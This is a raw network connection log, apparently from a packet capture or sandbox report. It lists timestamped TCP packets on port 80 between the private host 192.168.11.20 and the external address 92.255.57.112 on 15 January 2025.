Jan 15, 2025 10:18:39.830777884 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.830832958 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.830939054 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.831056118 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.831115961 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.831171989 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.831285000 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.831290007 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.831410885 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.831454992 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.831566095 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.831640959 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.831758022 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.831876993 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.831990957 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.832113981 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.832134962 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.832135916 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.832250118 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.832308054 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.832340956 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.832458973 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.832474947 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.832592010 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.832695007 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.832809925 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.832817078 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.832962036 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.833069086 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.833184958 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.833301067 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.833395958 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.833513021 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.833628893 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.833745956 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.833872080 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.833980083 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.834005117 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.834151030 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.834175110 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.834239960 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.834345102 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.834391117 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.834450960 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.834564924 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.834566116 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.834683895 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.834737062 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.834817886 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.834918976 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.835032940 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.835073948 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.835153103 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.835244894 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.835314989 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.835464001 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.835503101 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.835587025 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.835587025 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.835628033 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.835737944 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.835753918 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.835947990 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.835972071 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.836086035 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.836093903 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.836266994 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.836296082 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.836330891 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.836478949 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.836558104 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.836606979 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.836672068 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.836774111 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.836790085 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.836905956 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.836946964 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.837059021 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.837117910 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.837136984 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.837258101 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.837285042 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.837392092 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.837517023 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.837608099 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.837624073 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.837771893 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.837794065 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.837846041 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.837959051 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.838104010 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.838136911 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.838191986 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.838303089 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.838341951 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.838488102 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.838571072 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.838644028 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.838660002 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.838777065 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.838814020 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.838922977 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.838984013 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.839015961 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.839128971 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.839157104 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.839262962 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.839359999 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.839478016 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.839593887 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.839667082 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.839716911 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.839833021 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.840003014 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.914659023 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.916198015 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.916302919 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.916425943 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.916518927 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.916588068 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.916693926 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.916805983 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.916830063 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.916866064 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.917021036 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.917053938 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.917098045 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.917170048 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.917203903 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.917314053 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.917397022 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.917428970 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.917548895 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.917687893 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.917706966 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.917819023 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.917906046 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.917922020 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.918078899 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.918088913 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.918143988 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.918303013 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.918312073 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.918375015 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.918487072 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.918534994 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.918726921 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.918838978 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.918932915 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.918948889 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.918956995 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.919079065 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.919138908 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.919219017 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.919241905 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.919306040 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.919424057 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.919536114 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.919693947 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.919845104 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.919940948 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.919958115 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.919958115 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.920005083 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.920008898 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.920150995 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.920212984 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.920257092 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.920363903 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.920394897 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.920507908 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.920588970 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.920701027 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.920706034 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.920824051 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.920847893 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.920955896 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.921058893 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.921081066 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.921192884 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.921292067 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.921400070 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.921411991 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.921526909 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.921555996 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.921660900 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.921761036 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.921812057 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.921926975 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.921992064 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.922116995 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.922230005 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.922416925 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.922452927 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.922452927 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.922519922 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.922661066 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.922697067 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.922746897 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.922847033 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.922874928 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.923003912 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.923047066 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.923048973 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.923173904 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.923177004 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.923290014 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.923398018 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.923469067 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.923525095 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.923656940 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.923732996 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.923772097 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.923898935 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.923979998 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.923986912 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.924127102 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.924190998 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.924223900 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.924334049 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.924356937 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.924467087 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.924567938 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.924664974 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.924683094 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.924801111 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.924870968 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.924925089 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.925036907 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.925124884 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.925157070 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.925268888 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.925385952 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.925502062 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.925617933 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.925734997 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.925852060 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.925896883 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.925896883 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.925896883 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.925968885 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.926091909 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.926127911 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.926255941 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.926290035 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.926362038 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.926471949 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.926558018 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.926671028 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.926697969 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.926744938 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.926793098 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.926919937 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.927022934 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.927139044 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.927139997 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.927186012 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.927265882 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.927412987 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.927440882 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.927500010 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.927608967 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.927687883 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.980231047 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.055366039 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.055454016 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.055581093 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.055716991 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.055819035 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.055936098 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.055969954 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.055969954 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.056022882 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.056086063 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.056245089 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.056371927 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.056473017 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.056480885 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.056616068 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.056622982 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.056744099 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.056843042 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.056951046 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.056962013 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.057076931 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.057132006 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.057147980 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.057265043 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.057327032 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.057380915 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.057495117 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.057504892 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.057668924 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.057712078 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.057744980 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.057887077 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.057967901 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.058005095 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.058125973 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.058154106 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.058202982 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.058317900 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.058351994 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.058471918 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.058549881 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.058661938 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.058667898 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.058784962 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.058862925 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.058901072 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.059017897 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.059134960 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.059202909 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.059258938 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.059365988 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.059374094 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.059493065 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.059539080 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.059603930 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.059721947 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.059835911 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.059851885 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.059963942 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.060024977 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.060074091 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.060188055 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.060303926 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.060384989 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.060415983 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.060539007 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.060551882 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.060664892 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.060725927 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.060775995 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.060889006 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.061006069 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.061044931 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.061156034 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.061217070 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.061245918 CET	80	49772	92.255.57.112	192.168.11.20
